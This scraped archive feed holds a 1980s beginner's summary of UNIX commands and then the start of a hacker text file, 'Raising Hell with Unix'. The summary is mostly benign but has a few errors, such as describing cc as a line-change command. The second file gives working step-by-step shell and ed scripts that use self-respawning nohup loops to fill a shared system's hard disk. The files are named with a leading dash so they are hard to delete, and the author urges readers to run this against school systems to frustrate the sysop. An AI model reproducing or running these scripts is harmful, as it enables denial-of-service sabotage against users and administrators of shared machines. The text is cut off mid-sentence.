~~~~~~~~~~~&lt;br&gt;&lt;br&gt; awk Search for a pattern within a file. Includes&lt;br&gt; a built-in programming language.&lt;br&gt;&lt;br&gt; bdiff Compares two large files.&lt;br&gt;&lt;br&gt; bfs Scans a large file.&lt;br&gt;&lt;br&gt; cal Displays a calendar.&lt;br&gt;&lt;br&gt; cat Concatenates and prints files.&lt;br&gt;&lt;br&gt; cc C compiler.&lt;br&gt;&lt;br&gt; cd Change directory.&lt;br&gt;&lt;br&gt; chgrp Changes a file&amp;#39;s group ownership.&lt;br&gt;&lt;br&gt; chmod Changes a file&amp;#39;s access permissions.&lt;br&gt;&lt;br&gt; chown Changes the individual ownership of a file.&lt;br&gt;&lt;br&gt; cmp Compares two files; diplays the location (line&lt;br&gt; and byte) of the 1st difference between these.&lt;br&gt;&lt;br&gt; comm Compares two files so as to determine which&lt;br&gt; lines are common to both.&lt;br&gt;&lt;br&gt; cp Copies a file to another location.&lt;br&gt;&lt;br&gt; cu Calls another UNIX system.&lt;br&gt;&lt;br&gt; date Returns the date and time.&lt;br&gt;&lt;br&gt; df Displays free space in the file system.&lt;br&gt;&lt;br&gt; diff Displays the differences between two files&lt;br&gt; or directories.&lt;br&gt;&lt;br&gt; diff3 Displays the differences between three files&lt;br&gt; or directories.&lt;br&gt;&lt;br&gt; du Reports on file system usage.&lt;br&gt;&lt;br&gt; echo Displays its argument.&lt;br&gt;&lt;br&gt; ed Text editor.&lt;br&gt;&lt;br&gt; ex Text editor.&lt;br&gt;&lt;br&gt; expr Evaluates its argument which is generally&lt;br&gt; a mathematical formula.&lt;br&gt;&lt;br&gt; f77 FORTRAN compiler.&lt;br&gt;&lt;br&gt; find Locates the files w/ specified characteristics.&lt;br&gt;&lt;br&gt; format Initializes a floppy disk.&lt;br&gt;&lt;br&gt; grep Searches for a pattern within a file. (see awk)&lt;br&gt;&lt;br&gt; help Salvation.&lt;br&gt;&lt;br&gt; kill Ends a process.&lt;br&gt;&lt;br&gt; ln Used to link files.&lt;br&gt;&lt;br&gt; lpr Copies the file to the line printer.&lt;br&gt;&lt;br&gt; ls Displays info. about one or more files.&lt;br&gt;&lt;br&gt; mail Used to receive or deliver e-mail.&lt;br&gt;&lt;br&gt; mkdir Creates a new directory.&lt;br&gt;&lt;br&gt; more Displays a long file so that the user&lt;br&gt; can scroll through it.&lt;br&gt;&lt;br&gt; mv Used to move or rename files.&lt;br&gt;&lt;br&gt; nroff Used to format text.&lt;br&gt;&lt;br&gt; ps Display a process&amp;#39;s status.&lt;br&gt;&lt;br&gt; pwd Display the name of the working directory.&lt;br&gt;&lt;br&gt; rm Removes one or more files.&lt;br&gt;&lt;br&gt; rmdir Deletes one or more directories.&lt;br&gt;&lt;br&gt; sleep Causes a process to become inactive for a&lt;br&gt; specified length of time.&lt;br&gt;&lt;br&gt; sort Sort and merge one or more files.&lt;br&gt;&lt;br&gt; spell Finds spelling errors in a file.&lt;br&gt;&lt;br&gt; split Divides a file.&lt;br&gt;&lt;br&gt; stty Display or set terminal parameters.&lt;br&gt;&lt;br&gt; tail Displays the end of a file.&lt;br&gt;&lt;br&gt; troff Outputs formatted output to a typesetter.&lt;br&gt;&lt;br&gt; tset Sets the terminal type.&lt;br&gt;&lt;br&gt; umask Allows the user to specify a new creation&lt;br&gt; mask. &lt;br&gt;&lt;br&gt; uniq Compares 2 files. Finds and displays lines&lt;br&gt; in one file that are unique.&lt;br&gt;&lt;br&gt; uucp UNIX-to-UNIX execute.&lt;br&gt;&lt;br&gt; vi Full screen editor.&lt;br&gt;&lt;br&gt; wc Displays details in the file size.&lt;br&gt;&lt;br&gt; who Info. on who else be online.&lt;br&gt;&lt;br&gt; write Used to send a message to another user.&lt;br&gt;_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; That&amp;#39;s the Summary. Now print it out, if you&amp;#39;d like. Good for fast&lt;br&gt; referencing. Following the Summary is a more in-depth look at each &lt;br&gt; of the commands already listed.&lt;br&gt;_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt;&lt;br&gt; awk program filenames&lt;br&gt; awk -f programfilenames filenames&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [awk] utility can be used to find any lines in a file which &lt;br&gt; match a certain pattern; once found, these lines can be processed.&lt;br&gt; In the first configuration, the program that [awk] is to&lt;br&gt; execute is specified in the command line. In the second,&lt;br&gt; the program is stored as the file given in programfilename.&lt;br&gt; The -f option instructs [awk] to read this file.&lt;br&gt;&lt;br&gt;&lt;br&gt; [bdiff] is used to compare files too large for [diff]. See&lt;br&gt; [diff] for the format.&lt;br&gt;&lt;br&gt;&lt;br&gt; bfs filename&lt;br&gt; ~~~~~~~~~~~~&lt;br&gt; [bfs] is used to scan a large file to determine where to split&lt;br&gt; it into smaller files.&lt;br&gt;&lt;br&gt;&lt;br&gt; cal 01-12 (month) 0-9999 (year)&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [cal] utility can be used to display a calendar of any year&lt;br&gt; from 0 to 9999 AD, and any or all of the twelve months.&lt;br&gt;&lt;br&gt;&lt;br&gt; cat filename&lt;br&gt; ~~~~~~~~~~~~&lt;br&gt; [cat] can be used to examine a short file. See [more] for &lt;br&gt; lengthier files.&lt;br&gt;&lt;br&gt;&lt;br&gt; number[cc]&lt;br&gt; ~~~~~~~~~~&lt;br&gt; The [cc] command changes the entire current line, or a group&lt;br&gt; of lines starting with the current line. [number] represents&lt;br&gt; the number of old lines to be deleted.&lt;br&gt;&lt;br&gt;&lt;br&gt; cd directory name&lt;br&gt; ~~~~~~~~~~~~~~~~~&lt;br&gt; The [cd] command causes the current working directory to be&lt;br&gt; changed. The [directory name] can be either a full or partial&lt;br&gt; path name.&lt;br&gt;&lt;br&gt;&lt;br&gt; chgrp groupname filename&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; This command changes the group ownership of a file.&lt;br&gt;&lt;br&gt;&lt;br&gt; chmod {ugoa} {+-} {rwx}&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [chmod] utility changes a file&amp;#39;s access permissions. [u]&lt;br&gt; specifies the user or owner&amp;#39;s login name, [g] specifies a group&lt;br&gt; and [o] indicates all others. [a] indicates the user, group,&lt;br&gt; and all others; c&amp;#39;est the default. [+] adds permission; [-]&lt;br&gt; deletes it. [r] indicates read, [w] write, and [x] execute.&lt;br&gt;&lt;br&gt;&lt;br&gt; chown individualname filename&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [chown] changes the individual ownership of a file (see chgrp).&lt;br&gt;&lt;br&gt;&lt;br&gt; cmp filename1 filename2&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [cmp] is one of the four principle UNIX file comparison utilities.&lt;br&gt; It compares 2 files, and returns the positions where they differ.&lt;br&gt;&lt;br&gt;&lt;br&gt; comm -options filename1 filename2&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [comm] utility, in comparing two files, produces three&lt;br&gt; columns of output. The first contains lines unique to the&lt;br&gt; first file, the second, lines unique to the second, and the&lt;br&gt; third column, lines common to both files. By placing the&lt;br&gt; numbers [1], [2], and/or [3] in the [options] position, any&lt;br&gt; one (or more) of these columns can be suppressed.&lt;br&gt;&lt;br&gt;&lt;br&gt; cp sendingfile receivingfile&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [cp] command copies a file. [sendingfile] is the file to be&lt;br&gt; copied, [receivingfile] is the file to which it is copied.&lt;br&gt;&lt;br&gt;&lt;br&gt; diff [options] filename1 filename2&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; Again, a file comparison utility. However, with [diff], the &lt;br&gt; differences are displayed as instructions that can be used&lt;br&gt; to edit the files so that they are identical.&lt;br&gt;&lt;br&gt;&lt;br&gt; diff3 filename1 filename2 filename3&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; Similar to [diff], [diff3] is unique in that it can compare&lt;br&gt; three files. Gee.&lt;br&gt;&lt;br&gt;&lt;br&gt; ed filename&lt;br&gt; ~~~~~~~~~~~&lt;br&gt; One of the UNIX&amp;#39;s three editing utilities, [ed] is a basic line&lt;br&gt; editor. I&amp;#39;m sure there are other files that will explain how&lt;br&gt; to use [ed]. Thus, I&amp;#39;ll confine myself to a rough outline:&lt;br&gt; e filename ........... edit a different file&lt;br&gt; f filename ........... changes the currently specified file.&lt;br&gt; h .................... provides explanation of errors.&lt;br&gt; I&lt;br&gt; text ................. inserts text before the current line.&lt;br&gt; line,linel ........... lists the specified lines.&lt;br&gt; line,linen ........... displays specified lines, preceded by&lt;br&gt; their line numbers.&lt;br&gt; q .................... exit from [ed]&lt;br&gt; w .................... writes buffer to current filename.&lt;br&gt; + or - ............... +number of lines closer to end&lt;br&gt; -number of lines closer to beginning.&lt;br&gt;&lt;br&gt;&lt;br&gt; expr formula&lt;br&gt; ~~~~~~~~~~~~&lt;br&gt; Utility which evaluates an expression.&lt;br&gt;&lt;br&gt;&lt;br&gt; find directory searchcriteria parameter actioncriteria parameter&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [find] utility can be very useful indeed, especially when&lt;br&gt; confronted by a UNIX with countless files. Basically, this &lt;br&gt; command finds files which meet certain criteria, and then&lt;br&gt; performs an operation (such as printing the files). Search&lt;br&gt; criteria consists of the following:&lt;br&gt;&lt;br&gt;&lt;br&gt; Criteria Parameter Description&lt;br&gt; ~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~&lt;br&gt; -name filename Files whose names match [filename]&lt;br&gt; will meet this criteria.&lt;br&gt; -type filetype Files whose type matches that specified&lt;br&gt; [b] block special will meet criteria.&lt;br&gt; [c] character spec. file&lt;br&gt; [d] directory file&lt;br&gt; [f] plain file&lt;br&gt; -links +/- x Files with # of links indicated by&lt;br&gt; + or - x meet this criteria.&lt;br&gt; -user login name Files belonging to user with given&lt;br&gt; or user ID # login name or ID # meet criteria.&lt;br&gt; -group group name Files belonging to group with given&lt;br&gt; or group ID # group name or ID # meet this criteria.&lt;br&gt; -size + or - x Files greater than +x bytes or less&lt;br&gt; than -x bytes meet this criteria.&lt;br&gt; -atime + or - x Files not accessed within +x days,&lt;br&gt; accessed within -x days, or acc-&lt;br&gt; essed x days ago meet criteria.&lt;br&gt; -mtime + or - x Files NOT modified within +x days,&lt;br&gt; modified within -x days, or modified&lt;br&gt; x days ago will meet this criteria.&lt;br&gt; -newer filename Files modified more recently than&lt;br&gt; [filename] meet this criteria.&lt;br&gt; Action Criteria &amp;quot; &amp;quot;&lt;br&gt; ~~~~~~~~~~~~~~~ ~ ~&lt;br&gt; -print - When search criteria are met, path&lt;br&gt; name of the file is displayed.&lt;br&gt; -exec command{ }\; Executes given command when search&lt;br&gt; criteria are met. { } indicates file-&lt;br&gt; name, [\;] ends the command.&lt;br&gt; -ok command{ }\; Exactly like -exec, except user is&lt;br&gt; prompted [y] or [n] before command.&lt;br&gt;&lt;br&gt;&lt;br&gt; grep -options searchstring filenames&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; Another search command, this for a particular string of chars.&lt;br&gt;&lt;br&gt;&lt;br&gt; ln original new&lt;br&gt; ~~~~~~~~~~~~~~~&lt;br&gt; [ln] establishes a file link. For this utility, [original] repre-&lt;br&gt; sents the filename to be linked, [new] the filename of the new&lt;br&gt; link to the original.&lt;br&gt;&lt;br&gt;&lt;br&gt; [ls] provides directory information. [ls -l/] displays a more&lt;br&gt; complete version of the info. list.&lt;br&gt;&lt;br&gt;&lt;br&gt; mail username username&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; This utility allows e-mail to be sent to other system users. &lt;br&gt;&lt;br&gt; mail&lt;br&gt; ~~~~&lt;br&gt; Simply typing [mail] checks the user&amp;#39;s own mailbox.&lt;br&gt; When sending mail, several items must be set:&lt;br&gt; ~s text ............ sets the subject field&lt;br&gt; ~c user names ...... sends other users carbon copies of mail&lt;br&gt; m user names ....... activates the compose mode, with the&lt;br&gt; specified users as the message&amp;#39;s recipients.&lt;br&gt; ~h ................. displays and allows editing of all headers.&lt;br&gt; ^D ................. ends message editing; sends mail.&lt;br&gt; ~r filename ........ places file in body of message (keen command)&lt;br&gt;&lt;br&gt; Reading One&amp;#39;s Own Mail:&lt;br&gt; h number or range ....... causes specified headers to be displayed&lt;br&gt; p message # ............. displays entire message&lt;br&gt; d number or range ....... deletes specified messages&lt;br&gt; u number or range ....... undelete specified mail during SAME&lt;br&gt; mail session (messages removed after q)&lt;br&gt; q ....................... leave the post office&lt;br&gt;&lt;br&gt;&lt;br&gt; mkdir directoryname&lt;br&gt; ~~~~~~~~~~~~~~~~~~~&lt;br&gt; [mkdir] allows creation of a subdirectory, for your dining &lt;br&gt; enjoyment.&lt;br&gt;&lt;br&gt;&lt;br&gt; more filename&lt;br&gt; ~~~~~~~~~~~~~&lt;br&gt; For longer files, [more] is a convenient utility. It will display&lt;br&gt; the first screen of file data and then stop, allowing the user &lt;br&gt; to control scrolling henceforth.&lt;br&gt;&lt;br&gt;&lt;br&gt; mv oldfilename newfilename&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [mv] utility can be used simply to rename a file, or...&lt;br&gt;&lt;br&gt;&lt;br&gt; mv filea fileb... directory&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [mv] can also be used to move files to a new directory, provided&lt;br&gt; the directory exists, and you have write access to it.&lt;br&gt;&lt;br&gt;&lt;br&gt; ps -options&lt;br&gt; ~~~~~~~~~~~&lt;br&gt; The [ps] command, by itself, displays the status of each active&lt;br&gt; process controlled by your terminal. This status report includes&lt;br&gt; the Process Identification Number (PID), the terminal (TTY), the&lt;br&gt; time the process has been executing (TIME), and the command line&lt;br&gt; used to execute the process (CMD).&lt;br&gt; [ps]&amp;#39;s three options include -a (displays info. on active processes&lt;br&gt; controlled by any terminal), -x (info. on ALL active processes), and&lt;br&gt; -l (an extensive status report on all active processes).&lt;br&gt;&lt;br&gt;&lt;br&gt; pwd&lt;br&gt; ~~~&lt;br&gt; [pwd] command displays the present working directory.&lt;br&gt;&lt;br&gt;&lt;br&gt; rm filename&lt;br&gt; ~~~~~~~~~~~&lt;br&gt; [rm] removes a file. More than one file can be specified.&lt;br&gt;&lt;br&gt;&lt;br&gt; rmdir directoryname&lt;br&gt; ~~~~~~~~~~~~~~~~~~~&lt;br&gt; This utility removes a directory, an EMPTY directory (save the&lt;br&gt; hidden files). &lt;br&gt;&lt;br&gt;&lt;br&gt; sleep seconds&lt;br&gt; ~~~~~~~~~~~~~&lt;br&gt; The [sleep] utility causes a process to become inactive for a&lt;br&gt; certain period of time. Max. seconds is 65,536 (about 18 hrs).&lt;br&gt;&lt;br&gt;&lt;br&gt; sort -options filenames&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [sort] merges and sorts files. Without options, [sort] orders&lt;br&gt; files by the ASCII codes of the characters at the beginning&lt;br&gt; of each line. Options include -b (leading blanks ignored), -d&lt;br&gt; (only letters, digs, and blanks considered; &amp;quot;dictionary sort&amp;quot;),&lt;br&gt; -f (case ignored), -n (numerical sort [for numerical data]), and&lt;br&gt; -r (a reverse sort).&lt;br&gt;&lt;br&gt;&lt;br&gt; split -size original resulting&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; [split] divides a large file into smaller ones. [size] refers to&lt;br&gt; the number of lines the resulting files contain, [original] is&lt;br&gt; the name of the orig. file, and [resulting] represents the &lt;br&gt; prefix name assigned to the newly created files.&lt;br&gt;&lt;br&gt;&lt;br&gt; umask ugo&lt;br&gt; ~~~~~~~~~&lt;br&gt; [umask] changes the file CREATION mask (see [chmod] for already&lt;br&gt; existing files). Here, [u] represents the owner&amp;#39;s access &lt;br&gt; permission, [g] the group&amp;#39;s a.p., and [o] the a.p. for all others.&lt;br&gt;&lt;br&gt;&lt;br&gt; [uucp] (UNIX to UNIX copy) can be used to send files to a &lt;br&gt; remote UNIX, or retrieve files from the remote system.&lt;br&gt; Other UNIX comm commands include [cu] (which establishes contact&lt;br&gt; with another system), and [uux] (UNIX to UNIX execute; allows&lt;br&gt; commands to be executed on a remote system).&lt;br&gt;&lt;br&gt;&lt;br&gt; wc -options filenames&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The [wc] utility displays file-size information. This includes&lt;br&gt; the number of lines, words, and characters. By chosing the&lt;br&gt; -l, -w, or -c options, the information can be limited to only&lt;br&gt; line, word, or character number.&lt;br&gt;&lt;br&gt;&lt;br&gt; who&lt;br&gt; ~~~&lt;br&gt; A very useful command (which some systems respond to even before &lt;br&gt; a user is actually logged on), [who] displays a list of users&lt;br&gt; currently online. This list includes the user&amp;#39;s name, terminal&lt;br&gt; device # (tty), and the log-in time. [who am i] displays info.&lt;br&gt; only on the user who executed the command.&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; Alright. You may have noticed that this isn&amp;#39;t EXACTLY a Bible. I&lt;br&gt; took the liberty of omitting some of the command explanations.&lt;br&gt; But, if anyone REALLY wants to know more about [vi], or [stty],&lt;br&gt; or (perhaps more justifiably) have a more comprehensive guide&lt;br&gt; to the mail system, I&amp;#39;ll be glad to write some &amp;#39;by request&amp;#39;&lt;br&gt; text files.&lt;br&gt;_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt;(c)1987 cDc communications by Franken Gibe 0/0/87-14&lt;br&gt;All Rights Smeared Across The Wall&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Raising Hell with unix</title><link>http://blacklibrary.wetpaint.com/page/Raising+Hell+with+unix</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Raising+Hell+with+unix</guid><pubDate>Wed, 18 Feb 2009 23:33:51 CST</pubDate><description>&lt;br&gt;* Data Kult * &amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg; * Kryptic Night *&lt;br&gt; Lord Logics &amp;sup2;&amp;deg; Raising &amp;deg;&amp;sup2; Bounty Hunter&lt;br&gt; Shadow Walker &amp;deg;&amp;sup2; Hell &amp;sup2;&amp;deg; Nacht Habicht&lt;br&gt; - S M C - &amp;sup2;&amp;deg; with Unix &amp;deg;&amp;sup2; - S M C -&lt;br&gt;Realm of Infinity &amp;deg;&amp;sup2;Kryptic Night&amp;sup2;&amp;deg; The Viking&amp;#39;s Den&lt;br&gt; (503)629-0814 &amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2;&amp;deg;&amp;sup2; (408)867-1224&lt;br&gt; SMC Home - S M C - Western Dist.&lt;br&gt; Production # 3&lt;br&gt;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&lt;br&gt;&lt;br&gt;I - Introduction&lt;br&gt;&lt;br&gt; This file will describe several ways to cause mischief on a Unix system.&lt;br&gt;Like the other SMC Productions, I will try to present the information at a &lt;br&gt;beginners level. However, all levels of hackers should benefit in some way &lt;br&gt;from the information contained within. And now... on with our show...&lt;br&gt;&lt;br&gt;&lt;br&gt;II - How To Fill a Hard Disk&lt;br&gt; &lt;br&gt; There are several ways to cause havoc by filling up a systems hard&lt;br&gt;disk. Filling up a hard disk will make it so that the system cannot create&lt;br&gt;the temporary files vital to it&amp;#39;s efficient use. It will also cause other&lt;br&gt;problems, such as a person trying to save a 10 page financial report, and&lt;br&gt;finding that there is no room for it. Also, if the HD is full, the system&lt;br&gt;will not run properly. You will be bombarded by a continuous stream of&lt;br&gt;&amp;#39;write failed, file system is full&amp;#39;. Over all, this is a very good way to &lt;br&gt;piss people off. &lt;br&gt;&lt;br&gt; Step One&lt;br&gt; Create the following file with the &amp;#39;ed [filename]&amp;#39; utility under the&lt;br&gt;bourne shell, or the &amp;#39;edit [filename]&amp;#39; under the C shell. The filename can &lt;br&gt;be whatever you want, here I will call it &amp;#39;hah1&amp;#39;. Only type in what is &lt;br&gt;contained within &amp;#39;[]&amp;#39;s, the other text is what the system will send to&lt;br&gt;you.&lt;br&gt;&lt;br&gt;$[ed hah1]&lt;br&gt;0&lt;br&gt;*[a]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[echo Hahahahahahahahahahahahahahahahahahahahahah!!! &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[nohup hah1 &amp;amp;]&lt;br&gt;[^C]&lt;br&gt;*[w]&lt;br&gt;754&lt;br&gt;*[q]&lt;br&gt;$[chmod +r+w+x hah1]&lt;br&gt;$[nohup hah1 &amp;amp;]&lt;br&gt;1234&lt;br&gt;$&lt;br&gt;&lt;br&gt; This will create a file called &amp;#39;-fucku!&amp;#39;. Files beginning with a &amp;#39;-&amp;#39; &lt;br&gt;are very difficult to delete, as when you try to do a &amp;#39;rm -fucku!&amp;#39;&lt;br&gt;&amp;lt;rm - remove file&amp;gt; It interprets the &amp;#39;-f&amp;#39; as an option, it tries then&lt;br&gt;to force delete the file &amp;#39;ucku!&amp;#39;. As you can imagine.... this wouldn&amp;#39;t&lt;br&gt;quite work. The text after the echo can be anything you wish, I just&lt;br&gt;used a sample text that is quite pointless and takes up space. The numbers&lt;br&gt;represent the file size, and process number, they will be different on &lt;br&gt;your system.&lt;br&gt; The file will add the text from the echo statement to the file &amp;#39;-fucku!&amp;#39;&lt;br&gt;until it reaches the &amp;#39;hah1 &amp;amp;&amp;#39; command, which will make it start over again.&lt;br&gt;This is an endless loop. For as long as you are on-line, and their are &lt;br&gt;processes left, the file will continue to add to the file. This is a&lt;br&gt;very slow method, but it&amp;#39;s easy if you are starting from scratch. If&lt;br&gt;you get a message such as &amp;#39;cannot fork hah1: process terminated&amp;#39; that means&lt;br&gt;that the loop is taking up so much memory that the system can no longer&lt;br&gt;continue with that job. Don&amp;#39;t worry, it will settle back to normal after all&lt;br&gt;the processes are eventually killed, if it does, continue to run the file&lt;br&gt;in the background until you have a &amp;#39;-fucku!&amp;#39; file that is about 100-200k&lt;br&gt;long, this will allow us to progress to our next step.&lt;br&gt;&lt;br&gt; The command &amp;#39;nohup hah1 &amp;amp;&amp;#39; tells unix to continue to run the &amp;#39;hah1&amp;#39;&lt;br&gt;in the background, even after you hangup. This means you can run the &lt;br&gt;program, hang up, and call back. This function will only work under &lt;br&gt;the bourne shell. If you have a prompt of &amp;#39;$&amp;#39;, then you are using the&lt;br&gt;bourne shell. This function will become exceedingly useful when we&lt;br&gt;start with the next step.&lt;br&gt;&lt;br&gt; The command &amp;#39;chmod +r+w+x hah1&amp;#39; will make the file readable, writable, and&lt;br&gt;executable by you. This string may or may not be necessary on the system you&lt;br&gt;are using. If you get a message such as &amp;#39;hah1: Permission Denied&amp;#39; than you&lt;br&gt;will need to use the chmod command. And now onto the next step...&lt;br&gt;&lt;br&gt; &lt;br&gt; Step Two&lt;br&gt; We will now explore the ever powerful &amp;#39;cat&amp;#39; command. The &amp;#39;cat&amp;#39; command&lt;br&gt;is the equivalent of the MS-DOS &amp;#39;type&amp;#39; command. We will use a function&lt;br&gt;of the unix system called redirection that will allow us to &amp;#39;cat&amp;#39; files&lt;br&gt;into each other. This will cause the source file to be copied to the end&lt;br&gt;of the destination file, I&amp;#39;m sure you&amp;#39;re beginning to see the mischief&lt;br&gt;you can cause with this. &lt;br&gt; To begin with, create a file called &amp;#39;-fucku2&amp;#39; the same way you created&lt;br&gt;the &amp;#39;-fucku!&amp;#39; file. Try to run the &amp;#39;hah1&amp;#39; program until the new &amp;#39;fucku2&amp;#39; &lt;br&gt;file is around 100-200k also. This isn&amp;#39;t absolutely necessary, but it&amp;#39;s &lt;br&gt;helpful and saves some time. &lt;br&gt; Next, create the following file with the editor &amp;lt;&amp;#39;ed&amp;#39; or &amp;#39;edit&amp;#39;&amp;gt;. &lt;br&gt;I will call it &amp;#39;hah2&amp;#39;, but you may call it whatever you wish.&lt;br&gt;&lt;br&gt;$[ed hah2]&lt;br&gt;0&lt;br&gt;*[a]&lt;br&gt;[cat -fucku! &amp;gt;&amp;gt; -fucku2]&lt;br&gt;[cat -fucku2 &amp;gt;&amp;gt; -fucku!]&lt;br&gt;[no&lt;br&gt;hup hah2 &amp;amp;]&lt;br&gt;[^C]&lt;br&gt;*[w]&lt;br&gt;61&lt;br&gt;*[q]&lt;br&gt;$[chmod +r+w+x hah2]&lt;br&gt;$[nohup hah2 &amp;amp;]&lt;br&gt;7049&lt;br&gt;$&lt;br&gt;&lt;br&gt; What we&amp;#39;ve just done is create a very short, and very nasty, program &lt;br&gt;that can fill 20 megs in under 5 minutes. The file when run will add the &lt;br&gt;contents of &amp;#39;-fucku!&amp;#39; to the end of &amp;#39;-fucku2&amp;#39;, and do the reverse. This &lt;br&gt;means that when you have two files of 100k to begin with, you will get &lt;br&gt;the following results after every completed loop...&lt;br&gt;&lt;br&gt;-fucku! .. -fucku2 .. -fucku! .. -fucku2 &lt;br&gt;100k &amp;gt;&amp;gt; 200k &amp;gt;&amp;gt; 300k &amp;gt;&amp;gt; 500k&lt;br&gt;700k &amp;gt;&amp;gt; 1200k &amp;gt;&amp;gt; 1900k &amp;gt;&amp;gt; 3100k&lt;br&gt;&lt;br&gt; As you can see, the file grows VERY quickly. Set it up in the morning&lt;br&gt;before school, come back and the HD should be completely full. You may&lt;br&gt;wish to also run multiple write processes, just to confuse the system.&lt;br&gt;If you do, rename the files to something appropriate, but maintain the&lt;br&gt;base content. If you do it in several directories, the sysop will have&lt;br&gt;to do some serious cleaning to get rid of it.&lt;br&gt; &lt;br&gt; Step Three&lt;br&gt; Sit back and laugh. If you wait awhile, in approximately 30 minutes,&lt;br&gt;the average 40 meg hard drive will be full. I&amp;#39;ve tested this method on&lt;br&gt;several systems, even an ancient VAX, and the results were more or less&lt;br&gt;the same. The sysop, or any other user, will be able to write anything&lt;br&gt;onto the system until this problem is resolved. Many programs need&lt;br&gt;to create temporary files to even operate. These programs are now &lt;br&gt;completely unusable, except for the few that save to memory. To delete&lt;br&gt;the files, the sysop will have to do one of several things, all of which&lt;br&gt;are very unpleasant. And 